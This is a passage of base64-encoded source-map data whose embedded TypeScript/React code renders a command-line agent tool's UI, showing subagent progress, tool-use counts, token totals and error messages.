XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgICl9XG4gICAgICB7cmVuZGVyVG9vbFVzZVByb2dyZXNzTWVzc2FnZShwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSwge1xuICAgICAgICB0b29scyxcbiAgICAgICAgdmVyYm9zZSxcbiAgICAgICAgaXNUcmFuc2NyaXB0TW9kZSxcbiAgICAgIH0pfVxuICAgICAgPEZhbGxiYWNrVG9vbFVzZVJlamVjdGVkTWVzc2FnZSAvPlxuICAgIDwvPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlRXJyb3JNZXNzYWdlKFxuICByZXN1bHQ6IFRvb2xSZXN1bHRCbG9ja1BhcmFtWydjb250ZW50J10sXG4gIHtcbiAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSxcbiAgICB0b29scyxcbiAgICB2ZXJib3NlLFxuICAgIGlzVHJhbnNjcmlwdE1vZGUsXG4gIH06IHtcbiAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPFByb2dyZXNzPltdXG4gICAgdG9vbHM6IFRvb2xzXG4gICAgdmVyYm9zZTogYm9vbGVhblxuICAgIGlzVHJhbnNjcmlwdE1vZGU/OiBib29sZWFuXG4gIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICB7cmVuZGVyVG9vbFVzZVByb2dyZXNzTWVzc2FnZShwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSwge1xuICAgICAgICB0b29scyxcbiAgICAgICAgdmVyYm9zZSxcbiAgICAgICAgaXNUcmFuc2NyaXB0TW9kZSxcbiAgICAgIH0pfVxuICAgICAgPEZhbGxiYWNrVG9vbFVzZUVycm9yTWVzc2FnZSByZXN1bHQ9e3Jlc3VsdH0gdmVyYm9zZT17dmVyYm9zZX0gLz5cbiAgICA8Lz5cbiAgKVxufVxuXG5mdW5jdGlvbiBjYWxjdWxhdGVBZ2VudFN0YXRzKHByb2dyZXNzTWVzc2FnZXM6IFByb2dyZXNzTWVzc2FnZTxQcm9ncmVzcz5bXSk6IHtcbiAgdG9vbFVzZUNvdW50OiBudW1iZXJcbiAgdG9rZW5zOiBudW1iZXIgfCBudWxsXG59IHtcbiAgY29uc3QgdG9vbFVzZUNvdW50ID0gY291bnQocHJvZ3Jlc3NNZXNzYWdlcywgbXNnID0+IHtcbiAgICBpZiAoIWhhc1Byb2dyZXNzTWVzc2FnZShtc2cuZGF0YSkpIHtcbiAgICAgIHJldHVybiBmYWxzZVxuICAgIH1cbiAgICBjb25zdCBtZXNzYWdlID0gbXNnLmRhdGEubWVzc2FnZVxuICAgIHJldHVybiAoXG4gICAgICBtZXNzYWdlLnR5cGUgPT09ICd1c2VyJyAmJlxuICAgICAgbWVzc2FnZS5tZXNzYWdlLmNvbnRlbnQuc29tZShjb250ZW50ID0+IGNvbnRlbnQudHlwZSA9PT0gJ3Rvb2xfcmVzdWx0JylcbiAgICApXG4gIH0pXG5cbiAgY29uc3QgbGF0ZXN0QXNzaXN0YW50ID0gcHJvZ3Jlc3NNZXNzYWdlcy5maW5kTGFzdChcbiAgICAobXNnKTogbXNnIGlzIFByb2dyZXNzTWVzc2FnZTxBZ2VudFRvb2xQcm9ncmVzcz4gPT5cbiAgICAgIGhhc1Byb2dyZXNzTWVzc2FnZShtc2cuZGF0YSkgJiYgbXNnLmRhdGEubWVzc2FnZS50eXBlID09PSAnYXNzaXN0YW50JyxcbiAgKVxuXG4gIGxldCB0b2tlbnMgPSBudWxsXG4gIGlmIChsYXRlc3RBc3Npc3RhbnQ/LmRhdGEubWVzc2FnZS50eXBlID09PSAnYXNzaXN0YW50Jykge1xuICAgIGNvbnN0IHVzYWdlID0gbGF0ZXN0QXNzaXN0YW50LmRhdGEubWVzc2FnZS5tZXNzYWdlLnVzYWdlXG4gICAgdG9rZW5zID1cbiAgICAgICh1c2FnZS5jYWNoZV9jcmVhdGlvbl9pbnB1dF90b2tlbnMgPz8gMCkgK1xuICAgICAgKHVzYWdlLmNhY2hlX3JlYWRfaW5wdXRfdG9rZW5zID8/IDApICtcbiAgICAgIHVzYWdlLmlucHV0X3Rva2VucyArXG4gICAgICB1c2FnZS5vdXRwdXRfdG9rZW5zXG4gIH1cblxuICByZXR1cm4geyB0b29sVXNlQ291bnQsIHRva2VucyB9XG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJHcm91cGVkQWdlbnRUb29sVXNlKFxuICB0b29sVXNlczogQXJyYXk8e1xuICAgIHBhcmFtOiBUb29sVXNlQmxvY2tQYXJhbVxuICAgIGlzUmVzb2x2ZWQ6IGJvb2xlYW5cbiAgICBpc0Vycm9yOiBib29sZWFuXG4gICAgaXNJblByb2dyZXNzOiBib29sZWFuXG4gICAgcHJvZ3Jlc3NNZXNzYWdlczogUHJvZ3Jlc3NNZXNzYWdlPFByb2dyZXNzPltdXG4gICAgcmVzdWx0Pzoge1xuICAgICAgcGFyYW06IFRvb2xSZXN1bHRCbG9ja1BhcmFtXG4gICAgICBvdXRwdXQ6IE91dHB1dFxuICAgIH1cbiAgfT4sXG4gIG9wdGlvbnM6IHtcbiAgICBzaG91bGRBbmltYXRlOiBib29sZWFuXG4gICAgdG9vbHM6IFRvb2xzXG4gIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUgfCBudWxsIHtcbiAgY29uc3QgeyBzaG91bGRBbmltYXRlLCB0b29scyB9ID0gb3B0aW9uc1xuXG4gIC8vIENhbGN1bGF0ZSBzdGF0cyBmb3IgZWFjaCBhZ2VudFxuICBjb25zdCBhZ2VudFN0YXRzID0gdG9vbFVzZXMubWFwKFxuICAgICh7IHBhcmFtLCBpc1Jlc29sdmVkLCBpc0Vycm9yLCBwcm9ncmVzc01lc3NhZ2VzLCByZXN1bHQgfSkgPT4ge1xuICAgICAgY29uc3Qgc3RhdHMgPSBjYWxjdWxhdGVBZ2VudFN0YXRzKHByb2dyZXNzTWVzc2FnZXMpXG4gICAgICBjb25zdCBsYXN0VG9vbEluZm8gPSBleHRyYWN0TGFzdFRvb2xJbmZvKHByb2dyZXNzTWVzc2FnZXMsIHRvb2xzKVxuICAgICAgY29uc3QgcGFyc2VkSW5wdXQgPSBpbnB1dFNjaGVtYSgpLnNhZmVQYXJzZShwYXJhbS5pbnB1dClcblxuICAgICAgLy8gdGVhbW1hdGVfc3Bhd25lZCBpcyBub3QgcGFydCBvZiB0aGUgZXhwb3J0ZWQgT3V0cHV0IHR5cGUgKGNhc3QgdGhyb3VnaCB1bmtub3duXG4gICAgICAvLyBmb3IgZGVhZCBjb2RlIGVsaW1pbmF0aW9uKSwgc28gY2hlY2sgdmlhIHN0cmluZyBjb21wYXJpc29uIG9uIHRoZSByYXcgdmFsdWVcbiAgICAgIGNvbnN0IGlzVGVhbW1hdGVTcGF3biA9XG4gICAgICAgIChyZXN1bHQ/Lm91dHB1dD8uc3RhdHVzIGFzIHN0cmluZykgPT09ICd0ZWFtbWF0ZV9zcGF3bmVkJ1xuXG4gICAgICAvLyBGb3IgdGVhbW1hdGUgc3Bhd25zLCBzaG93IEBuYW1lIHdpdGggdHlwZSBpbiBwYXJlbnMgYW5kIGRlc2NyaXB0aW9uIGFzIHN0YXR1c1xuICAgICAgbGV0IGFnZW50VHlwZTogc3RyaW5nXG4gICAgICBsZXQgZGVzY3JpcHRpb246IHN0cmluZyB8IHVuZGVmaW5lZFxuICAgICAgbGV0IGNvbG9yOiBrZXlvZiBUaGVtZSB8IHVuZGVmaW5lZFxuICAgICAgbGV0IGRlc2NyaXB0aW9uQ29sb3I6IGtleW9mIFRoZW1lIHwgdW5kZWZpbmVkXG4gICAgICBsZXQgdGFza0Rlc2NyaXB0aW9uOiBzdHJpbmcgfCB1bmRlZmluZWRcbiAgICAgIGlmIChpc1RlYW1tYXRlU3Bhd24gJiYgcGFyc2VkSW5wdXQuc3VjY2VzcyAmJiBwYXJzZWRJbnB1dC5kYXRhLm5hbWUpIHtcbiAgICAgICAgYWdlbnRUeXBlID0gYEAke3BhcnNlZElucHV0LmRhdGEubmFtZX1gXG4gICAgICAgIGNvbnN0IHN1YmFnZW50VHlwZSA9IHBhcnNlZElucHV0LmRhdGEuc3ViYWdlbnRfdHlwZVxuICAgICAgICBkZXNjcmlwdGlvbiA9IGlzQ3VzdG9tU3ViYWdlbnRUeXBlKHN1YmFnZW50VHlwZSlcbiAgICAgICAgICA/IHN1YmFnZW50VHlwZVxuICAgICAgICAgIDogdW5kZWZpbmVkXG4gICAgICAgIHRhc2tEZXNjcmlwdGlvbiA9IHBhcnNlZElucHV0LmRhdGEuZGVzY3JpcHRpb25cbiAgICAgICAgLy8gVXNlIHRoZSBjdXN0b20gYWdlbnQgZGVmaW5pdGlvbidzIGNvbG9yIG9uIHRoZSB0eXBlLCBub3QgdGhlIG5hbWVcbiAgICAgICAgZGVzY3JpcHRpb25Db2xvciA9IGlzQ3VzdG9tU3ViYWdlbnRUeXBlKHN1YmFnZW50VHlwZSlcbiAgICAgICAgICA/IChnZXRBZ2VudENvbG9yKHN1YmFnZW50VHlwZSkgYXMga2V5b2YgVGhlbWUgfCB1bmRlZmluZWQpXG4gICAgICAgICAgOiB1bmRlZmluZWRcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGFnZW50VHlwZSA9IHBhcnNlZElucHV0LnN1Y2Nlc3NcbiAgICAgICAgICA/IHVzZXJGYWNpbmdOYW1lKHBhcnNlZElucHV0LmRhdGEpXG4gICAgICAgICAgOiAnQWdlbnQnXG4gICAgICAgIGRlc2NyaXB0aW9uID0gcGFyc2VkSW5wdXQuc3VjY2Vzc1xuICAgICAgICAgID8gcGFyc2VkSW5wdXQuZGF0YS5kZXNjcmlwdGlvblxuICAgICAgICAgIDogdW5kZWZpbmVkXG4gICAgICAgIGNvbG9yID0gcGFyc2VkSW5wdXQuc3VjY2Vzc1xuICAgICAgICAgID8gdXNlckZhY2luZ05hbWVCYWNrZ3JvdW5kQ29sb3IocGFyc2VkSW5wdXQuZGF0YSlcbiAgICAgICAgICA6IHVuZGVmaW5lZFxuICAgICAgICB0YXNrRGVzY3JpcHRpb24gPSB1bmRlZmluZWRcbiAgICAgIH1cblxuICAgICAgLy8gQ2hlY2sgaWYgdGhpcyB3YXMgbGF1bmNoZWQgYXMgYSBiYWNrZ3JvdW5kIGFnZW50IE9SIGJhY2tncm91bmRlZCBtaWQtZXhlY3V0aW9uXG4gICAgICBjb25zdCBsYXVuY2hlZEFzQXN5bmMgPVxuICAgICAgICBwYXJzZWRJbnB1dC5zdWNjZXNzICYmXG4gICAgICAgICdydW5faW5fYmFja2dyb3VuZCcgaW4gcGFyc2VkSW5wdXQuZGF0YSAmJlxuICAgICAgICBwYXJzZWRJbnB1dC5kYXRhLnJ1bl9pbl9iYWNrZ3JvdW5kID09PSB0cnVlXG4gICAgICBjb25zdCBvdXRwdXRTdGF0dXMgPSAocmVzdWx0Py5vdXRwdXQgYXMgeyBzdGF0dXM/OiBzdHJpbmcgfSB8IHVuZGVmaW5lZClcbiAgICAgICAgPy5zdGF0dXNcbiAgICAgIGNvbnN0IGJhY2tncm91bmRlZE1pZEV4ZWN1dGlvbiA9XG4gICAgICAgIG91dHB1dFN0YXR1cyA9PT0gJ2FzeW5jX2xhdW5jaGVkJyB8fCBvdXRwdXRTdGF0dXMgPT09ICdyZW1vdGVfbGF1bmNoZWQnXG4gICAgICBjb25zdCBpc0FzeW5jID1cbiAgICAgICAgbGF1bmNoZWRBc0FzeW5jIHx8IGJhY2tncm91bmRlZE1pZEV4ZWN1dGlvbiB8fCBpc1RlYW1tYXRlU3Bhd25cblxuICAgICAgY29uc3QgbmFtZSA9IHBhcnNlZElucHV0LnN1Y2Nlc3MgPyBwYXJzZWRJbnB1dC5kYXRhLm5hbWUgOiB1bmRlZmluZWRcblxuICAgICAgcmV0dXJuIHtcbiAgICAgICAgaWQ6IHBhcmFtLmlkLFxuICAgICAgICBhZ2VudFR5cGUsXG4gICAgICAgIGRlc2NyaXB0aW9uLFxuICAgICAgICB0b29sVXNlQ291bnQ6IHN0YXRzLnRvb2xVc2VDb3VudCxcbiAgICAgICAgdG9rZW5zOiBzdGF0cy50b2tlbnMsXG4gICAgICAgIGlzUmVzb2x2ZWQsXG4gICAgICAgIGlzRXJyb3IsXG4gICAgICAgIGlzQXN5bmMsXG4gICAgICAgIGNvbG9yLFxuICAgICAgICBkZXNjcmlwdGlvbkNvbG9yLFxuICAgICAgICBsYXN0VG9vbEluZm8sXG4gICAgICAgIHRhc2tEZXNjcmlwdGlvbixcbiAgICAgICAgbmFtZSxcbiAgICAgIH1cbiAgICB9LFxuICApXG5cbiAgY29uc3QgYW55VW5yZXNvbHZlZCA9IHRvb2xVc2VzLnNvbWUodCA9PiAhdC5pc1Jlc29sdmVkKVxuICBjb25zdCBhbnlFcnJvciA9IHRvb2xVc2VzLnNvbWUodCA9PiB0LmlzRXJyb3IpXG4gIGNvbnN0IGFsbENvbXBsZXRlID0gIWFueVVucmVzb2x2ZWRcblxuICAvLyBDaGVjayBpZiBhbGwgYWdlbnRzIGFyZSB0aGUgc2FtZSB0eXBlXG4gIGNvbnN0IGFsbFNhbWVUeXBlID1cbiAgICBhZ2VudFN0YXRzLmxlbmd0aCA+IDAgJiZcbiAgICBhZ2VudFN0YXRzLmV2ZXJ5KHN0YXQgPT4gc3RhdC5hZ2VudFR5cGUgPT09IGFnZW50U3RhdHNbMF0/LmFnZW50VHlwZSlcbiAgY29uc3QgY29tbW9uVHlwZSA9XG4gICAgYWxsU2FtZVR5cGUgJiYgYWdlbnRTdGF0c1swXT8uYWdlbnRUeXBlICE9PSAnQWdlbnQnXG4gICAgICA/IGFnZW50U3RhdHNbMF0/LmFnZW50VHlwZVxuICAgICAgOiBudWxsXG5cbiAgLy8gQ2hlY2sgaWYgYWxsIHJlc29sdmVkIGFnZW50cyBhcmUgYXN5bmMgKGJhY2tncm91bmQpXG4gIGNvbnN0IGFsbEFzeW5jID0gYWdlbnRTdGF0cy5ldmVyeShzdGF0ID0+IHN0YXQuaXNBc3luYylcblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIG1hcmdpblRvcD17MX0+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgICAgPFRvb2xVc2VMb2FkZXJcbiAgICAgICAgICBzaG91bGRBbmltYXRlPXtzaG91bGRBbmltYXRlICYmIGFueVVucmVzb2x2ZWR9XG4gICAgICAgICAgaXNVbnJlc29sdmVkPXthbnlVbnJlc29sdmVkfVxuICAgICAgICAgIGlzRXJyb3I9e2FueUVycm9yfVxuICAgICAgICAvPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICB7YWxsQ29tcGxldGUgPyAoXG4gICAgICAgICAgICBhbGxBc3luYyA/IChcbiAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICA8VGV4dCBib2xkPnt0b29sVXNlcy5sZW5ndGh9PC9UZXh0PiBiYWNrZ3JvdW5kIGFnZW50cyBsYXVuY2hlZHsnICd9XG4gICAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCLihpNcIiBhY3Rpb249XCJtYW5hZ2VcIiBwYXJlbnMgLz5cbiAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgIDwvPlxuICAgICAgICAgICAgKSA6IChcbiAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICA8VGV4dCBib2xkPnt0b29sVXNlcy5sZW5ndGh9PC9UZXh0PnsnICd9XG4gICAgICAgICAgICAgICAge2NvbW1vblR5cGUgPyBgJHtjb21tb25UeXBlfSBhZ2VudHNgIDogJ2FnZW50cyd9IGZpbmlzaGVkXG4gICAgICAgICAgICAgIDwvPlxuICAgICAgICAgICAgKVxuICAgICAgICAgICkgOiAoXG4gICAgICAgICAgICA8PlxuICAgICAgICAgICAgICBSdW5uaW5nIDxUZXh0IGJvbGQ+e3Rvb2xVc2VzLmxlbmd0aH08L1RleHQ+eycgJ31cbiAgICAgICAgICAgICAge2NvbW1vblR5cGUgPyBgJHtjb21tb25UeXBlfSBhZ2VudHNgIDogJ2FnZW50cyd94oCmXG4gICAgICAgICAgICA8Lz5cbiAgICAgICAgICApfXsnICd9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICAgeyFhbGxBc3luYyAmJiA8Q3RybE9Ub0V4cGFuZCAvPn1cbiAgICAgIDwvQm94PlxuICAgICAge2FnZW50U3RhdHMubWFwKChzdGF0LCBpbmRleCkgPT4gKFxuICAgICAgICA8QWdlbnRQcm9ncmVzc0xpbmVcbiAgICAgICAgICBrZXk9e3N0YXQuaWR9XG4gICAgICAgICAgYWdlbnRUeXBlPXtzdGF0LmFnZW50VHlwZX1cbiAgICAgICAgICBkZXNjcmlwdGlvbj17c3RhdC5kZXNjcmlwdGlvbn1cbiAgICAgICAgICBkZXNjcmlwdGlvbkNvbG9yPXtzdGF0LmRlc2NyaXB0aW9uQ29sb3J9XG4gICAgICAgICAgdGFza0Rlc2NyaXB0aW9uPXtzdGF0LnRhc2tEZXNjcmlwdGlvbn1cbiAgICAgICAgICB0b29sVXNlQ291bnQ9e3N0YXQudG9vbFVzZUNvdW50fVxuICAgICAgICAgIHRva2Vucz17c3RhdC50b2tlbnN9XG4gICAgICAgICAgY29sb3I9e3N0YXQuY29sb3J9XG4gICAgICAgICAgaXNMYXN0PXtpbmRleCA9PT0gYWdlbnRTdGF0cy5sZW5ndGggLSAxfVxuICAgICAgICAgIGlzUmVzb2x2ZWQ9e3N0YXQuaXNSZXNvbHZlZH1cbiAgICAgICAgICBpc0Vycm9yPXtzdGF0LmlzRXJyb3J9XG4gICAgICAgICAgaXNBc3luYz17c3RhdC5pc0FzeW5jfVxuICAgICAgICAgIHNob3VsZEFuaW1hdGU9e3Nob3VsZEFuaW1hdGV9XG4gICAgICAgICAgbGFzdFRvb2xJbmZvPXtzdGF0Lmxhc3RUb29sSW5mb31cbiAgICAgICAgICBoaWRlVHlwZT17YWxsU2FtZVR5cGV9XG4gICAgICAgICAgbmFtZT17c3RhdC5uYW1lfVxuICAgICAgICAvPlxuICAgICAgKSl9XG4gICAgPC9Cb3g+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHVzZXJGYWNpbmdOYW1lKFxuICBpbnB1dDpcbiAgICB8IFBhcnRpYWw8e1xuICAgICAgICBkZXNjcmlwdGlvbjogc3RyaW5nXG4gICAgICAgIHByb21wdDogc3RyaW5nXG4gICAgICAgIHN1YmFnZW50X3R5cGU6IHN0cmluZ1xuICAgICAgICBuYW1lOiBzdHJpbmdcbiAgICAgICAgdGVhbV9uYW1lOiBzdHJpbmdcbiAgICAgIH0+XG4gICAgfCB1bmRlZmluZWQsXG4pOiBzdHJpbmcge1xuICBpZiAoXG4gICAgaW5wdXQ/LnN1YmFnZW50X3R5cGUgJiZcbiAgICBpbnB1dC5zdWJhZ2VudF90eXBlICE9PSBHRU5FUkFMX1BVUlBPU0VfQUdFTlQuYWdlbnRUeXBlXG4gICkge1xuICAgIC8vIERpc3BsYXkgXCJ3b3JrZXJcIiBhZ2VudHMgYXMgXCJBZ2VudFwiIGZvciBjbGVhbmVyIFVJXG4gICAgaWYgKGlucHV0LnN1YmFnZW50X3R5cGUgPT09ICd3b3JrZXInKSB7XG4gICAgICByZXR1cm4gJ0FnZW50J1xuICAgIH1cbiAgICByZXR1cm4gaW5wdXQuc3ViYWdlbnRfdHlwZVxuICB9XG4gIHJldHVybiAnQWdlbnQnXG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VyRmFjaW5nTmFtZUJhY2tncm91bmRDb2xvcihcbiAgaW5wdXQ6XG4gICAgfCBQYXJ0aWFsPHsgZGVzY3JpcHRpb246IHN0cmluZzsgcHJvbXB0OiBzdHJpbmc7IHN1YmFnZW50X3R5cGU6IHN0cmluZyB9PlxuICAgIHwgdW5kZWZpbmVkLFxuKToga2V5b2YgVGhlbWUgfCB1bmRlZmluZWQge1xuICBpZiAoIWlucHV0Py5zdWJhZ2VudF90eXBlKSB7XG4gICAgcmV0dXJuIHVuZGVmaW5lZFxuICB9XG5cbiAgLy8gR2V0IHRoZSBjb2xvciBmb3IgdGhpcyBhZ2VudFxuICByZXR1cm4gZ2V0QWdlbnRDb2xvcihpbnB1dC5zdWJhZ2VudF90eXBlKSBhcyBrZXlvZiBUaGVtZSB8IHVuZGVmaW5lZFxufVxuXG5leHBvcnQgZnVuY3Rpb24gZXh0cmFjdExhc3RUb29sSW5mbyhcbiAgcHJvZ3Jlc3NNZXNzYWdlczogUHJvZ3Jlc3NNZXNzYWdlPFByb2dyZXNzPltdLFxuICB0b29sczogVG9vbHMsXG4pOiBzdHJpbmcgfCBudWxsIHtcbiAgLy8gQnVpbGQgdG9vbF91c2UgbG9va3VwIGZyb20gYWxsIHByb2dyZXNzIG1lc3NhZ2VzIChuZWVkZWQgZm9yIHJldmVyc2UgaXRlcmF0aW9uKVxuICBjb25zdCB0b29sVXNlQnlJRCA9IG5ldyBNYXA8c3RyaW5nLCBUb29sVXNlQmxvY2tQYXJhbT4oKVxuICBmb3IgKGNvbnN0IHBtIG9mIHByb2dyZXNzTWVzc2FnZXMpIHtcbiAgICBpZiAoIWhhc1Byb2dyZXNzTWVzc2FnZShwbS5kYXRhKSkge1xuICAgICAgY29udGludWVcbiAgICB9XG4gICAgaWYgKHBtLmRhdGEubWVzc2FnZS50eXBlID09PSAnYXNzaXN0YW50Jykge1xuICAgICAgZm9yIChjb25zdCBjIG9mIHBtLmRhdGEubWVzc2FnZS5tZXNzYWdlLmNvbnRlbnQpIHtcbiAgICAgICAgaWYgKGMudHlwZSA9PT0gJ3Rvb2xfdXNlJykge1xuICAgICAgICAgIHRvb2xVc2VCeUlELnNldChjLmlkLCBjIGFzIFRvb2xVc2VCbG9ja1BhcmFtKVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgLy8gQ291bnQgdHJhaWxpbmcgY29uc2VjdXRpdmUgc2VhcmNoL3JlYWQgb3BlcmF0aW9ucyBmcm9tIHRoZSBlbmRcbiAgbGV0IHNlYXJjaENvdW50ID0gMFxuICBsZXQgcmVhZENvdW50ID0gMFxuICBmb3IgKGxldCBpID0gcHJvZ3Jlc3NNZXNzYWdlcy5sZW5ndGggLSAxOyBpID49IDA7IGktLSkge1xuICAgIGNvbnN0IG1zZyA9IHByb2dyZXNzTWVzc2FnZXNbaV0hXG4gICAgaWYgKCFoYXNQcm9ncmVzc01lc3NhZ2UobXNnLmRhdGEpKSB7XG4gICAgICBjb250aW51ZVxuICAgIH1cbiAgICBjb25zdCBpbmZvID0gZ2V0U2VhcmNoT3JSZWFkSW5mbyhtc2csIHRvb2xzLCB0b29sVXNlQnlJRClcbiAgICBpZiAoaW5mbyAmJiAoaW5mby5pc1NlYXJjaCB8fCBpbmZvLmlzUmVhZCkpIHtcbiAgICAgIC8vIE9ubHkgY291bnQgdG9vbF9yZXN1bHQgbWVzc2FnZXMgdG8gYXZvaWQgZG91YmxlIGNvdW50aW5nXG4gICAgICBpZiAobXNnLmRhdGEubWVzc2FnZS50eXBlID09PSAndXNlcicpIHtcbiAgICAgICAgaWYgKGluZm8uaXNTZWFyY2gpIHtcbiAgICAgICAgICBzZWFyY2hDb3VudCsrXG4gICAgICAgIH0gZWxzZSBpZiAoaW5mby5pc1JlYWQpIHtcbiAgICAgICAgICByZWFkQ291bnQrK1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgIGJyZWFrXG4gICAgfVxuICB9XG5cbiAgaWYgKHNlYXJjaENvdW50ICsgcmVhZENvdW50ID49IDIpIHtcbiAgICByZXR1cm4gZ2V0U2VhcmNoUmVhZFN1bW1hcnlUZXh0KHNlYXJjaENvdW50LCByZWFkQ291bnQsIHRydWUpXG4gIH1cblxuICAvLyBGaW5kIHRoZSBsYXN0IHRvb2xfcmVzdWx0IG1lc3NhZ2VcbiAgY29uc3QgbGFzdFRvb2xSZXN1bHQgPSBwcm9ncmVzc01lc3NhZ2VzLmZpbmRMYXN0KFxuICAgIChtc2cpOiBtc2cgaXMgUHJvZ3Jlc3NNZXNzYWdlPEFnZW50VG9vbFByb2dyZXNzPiA9PiB7XG4gICAgICBpZiAoIWhhc1Byb2dyZXNzTWVzc2FnZShtc2cuZGF0YSkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlXG4gICAgICB9XG4gICAgICBjb25zdCBtZXNzYWdlID0gbXNnLmRhdGEubWVzc2FnZVxuICAgICAgcmV0dXJuIChcbiAgICAgICAgbWVzc2FnZS50eXBlID09PSAndXNlcicgJiZcbiAgICAgICAgbWVzc2FnZS5tZXNzYWdlLmNvbnRlbnQuc29tZShjID0+IGMudHlwZSA9PT0gJ3Rvb2xfcmVzdWx0JylcbiAgICAgIClcbiAgICB9LFxuICApXG5cbiAgaWYgKGxhc3RUb29sUmVzdWx0Py5kYXRhLm1lc3NhZ2UudHlwZSA9PT0gJ3VzZXInKSB7XG4gICAgY29uc3QgdG9vbFJlc3VsdEJsb2NrID0gbGFzdFRvb2xSZXN1bHQuZGF0YS5tZXNzYWdlLm1lc3NhZ2UuY29udGVudC5maW5kKFxuICAgICAgYyA9PiBjLnR5cGUgPT09ICd0b29sX3Jlc3VsdCcsXG4gICAgKVxuXG4gICAgaWYgKHRvb2xSZXN1bHRCbG9jaz8udHlwZSA9PT0gJ3Rvb2xfcmVzdWx0Jykge1xuICAgICAgLy8gTG9vayB1cCB0aGUgY29ycmVzcG9uZGluZyB0b29sX3VzZSDigJQgYWxyZWFkeSBpbmRleGVkIGFib3ZlXG4gICAgICBjb25zdCB0b29sVXNlQmxvY2sgPSB0b29sVXNlQnlJRC5nZXQodG9vbFJlc3VsdEJsb2NrLnRvb2xfdXNlX2lkKVxuXG4gICAgICBpZiAodG9vbFVzZUJsb2NrKSB7XG4gICAgICAgIGNvbnN0IHRvb2wgPSBmaW5kVG9vbEJ5TmFtZSh0b29scywgdG9vbFVzZUJsb2NrLm5hbWUpXG4gICAgICAgIGlmICghdG9vbCkge1xuICAgICAgICAgIHJldHVybiB0b29sVXNlQmxvY2submFtZSAvLyBGYWxsYmFjayB0byByYXcgbmFtZVxuICAgICAgICB9XG5cbiAgICAgICAgY29uc3QgaW5wdXQgPSB0b29sVXNlQmxvY2suaW5wdXQgYXMgUmVjb3JkPHN0cmluZywgdW5rbm93bj5cbiAgICAgICAgY29uc3QgcGFyc2VkSW5wdXQgPSB0b29sLmlucHV0U2NoZW1hLnNhZmVQYXJzZShpbnB1dClcblxuICAgICAgICAvLyBHZXQgdXNlci1mYWNpbmcgdG9vbCBuYW1lXG4gICAgICAgIGNvbnN0IHVzZXJGYWNpbmdUb29sTmFtZSA9IHRvb2wudXNlckZhY2luZ05hbWUoXG4gICAgICAgICAgcGFyc2VkSW5wdXQuc3VjY2VzcyA/IHBhcnNlZElucHV0LmRhdGEgOiB1bmRlZmluZWQsXG4gICAgICAgIClcblxuICAgICAgICAvLyBUcnkgdG8gZ2V0IHN1bW1hcnkgZnJvbSB0aGUgdG9vbCBpdHNlbGZcbiAgICAgICAgaWYgKHRvb2wuZ2V0VG9vbFVzZVN1bW1hcnkpIHtcbiAgICAgICAgICBjb25zdCBzdW1tYXJ5ID0gdG9vbC5nZXRUb29sVXNlU3VtbWFyeShcbiAgICAgICAgICAgIHBhcnNlZElucHV0LnN1Y2Nlc3MgPyBwYXJzZWRJbnB1dC5kYXRhIDogdW5kZWZpbmVkLFxuICAgICAgICAgIClcbiAgICAgICAgICBpZiAoc3VtbWFyeSkge1xuICAgICAgICAgICAgcmV0dXJuIGAke3VzZXJGYWNpbmdUb29sTmFtZX06ICR7c3VtbWFyeX1gXG4gICAgICAgICAgfVxuICAgICAgICB9XG5cbiAgICAgICAgLy8gRGVmYXVsdDoganVzdCBzaG93IHVzZXItZmFjaW5nIHRvb2wgbmFtZVxuICAgICAgICByZXR1cm4gdXNlckZhY2luZ1Rvb2xOYW1lXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgcmV0dXJuIG51bGxcbn1cblxuZnVuY3Rpb24gaXNDdXN0b21TdWJhZ2VudFR5cGUoXG4gIHN1YmFnZW50VHlwZTogc3RyaW5nIHwgdW5kZWZpbmVkLFxuKTogc3ViYWdlbnRUeXBlIGlzIHN0cmluZyB7XG4gIHJldHVybiAoXG4gICAgISFzdWJhZ2VudFR5cGUgJiZcbiAgICBzdWJhZ2VudFR5cGUgIT09IEdFTkVSQUxfUFVSUE9TRV9BR0VOVC5hZ2VudFR5cGUgJiZcbiAgICBzdWJhZ2VudFR5cGUgIT09ICd3b3JrZXInXG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLGNBQ0VBLG9CQUFvQixFQUNwQkMsaUJBQWlCLFFBQ1osdUNBQXVDO0FBQzlDLE9BQU8sS0FBS0MsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0Msd0JBQXdCLFFBQVEsNENBQTRDO0FBQ3JGLFNBQ0VDLGFBQWEsRUFDYkMsZ0JBQWdCLFFBQ1gsaUNBQWlDO0FBQ3hDLFNBQVNDLE1BQU0sUUFBUSx3Q0FBd0M7QUFDL0QsU0FBU0Msb0JBQW9CLFFBQVEsc0RBQXNEO0FBQzNGLGNBQWND